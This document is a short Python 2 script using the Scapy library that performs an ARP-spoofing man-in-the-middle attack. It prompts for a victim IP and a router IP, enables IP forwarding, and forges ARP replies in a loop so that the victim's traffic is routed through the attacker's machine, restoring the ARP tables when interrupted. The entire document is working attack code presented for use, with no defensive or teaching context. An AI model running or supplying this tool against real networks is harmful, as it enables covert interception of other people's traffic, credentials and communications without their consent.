Python MitM Script

from scapy.all import *
import sys
import os
import time

try:
    interface = raw_input("[*] Enter Desired Interface: ")
    victimIP = raw_input("[*] Enter Victim IP: ")
    gateIP = raw_input("[*] Enter Router IP: ")
except KeyboardInterrupt:
    print "\n[*] User Requested Shutdown"
    print "[*] Exiting..."
    sys.exit(1)

print "\n[*] Enabling IP Forwarding...\n"
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")

def get_mac(IP):
    conf.verb = 0
    ans, unans = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = IP), timeout = 2, iface = interface, inter = 0.1)
    for snd,rcv in ans:
        return rcv.sprintf(r"%Ether.src%")

def reARP():

    print "\n[*] Restoring Targets..."
    victimMAC = get_mac(victimIP)
    gateMAC = get_mac(gateIP)
    send(ARP(op = 2, pdst = gateIP, psrc = victimIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = victimMAC), count = 7)
    send(ARP(op = 2, pdst = victimIP, psrc = gateIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = gateMAC), count = 7)
    print "[*] Disabling IP Forwarding..."
    os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
    print "[*] Shutting Down..."
    sys.exit(1)

def trick(gm, vm):
    send(ARP(op = 2, pdst = victimIP, psrc = gateIP, hwdst= vm))
    send(ARP(op = 2, pdst = gateIP, psrc = victimIP, hwdst= gm))

def mitm():
    try:
        victimMAC = get_mac(victimIP)
    except Exception:
        os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
        print "[!] Couldn't Find Victim MAC Address"
        print "[!] Exiting..."
        sys.exit(1)
    try:
        gateMAC = get_mac(gateIP)
    except Exception:
        os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
        print "[!] Couldn't Find Gateway MAC Address"
        print "[!] Exiting..."
        sys.exit(1)
    print "[*] Poisoning Targets..."
    while 1:
        try:
            trick(gateMAC, victimMAC)
            time.sleep(1.5)
        except KeyboardInterrupt:
            reARP()
            break
mitm()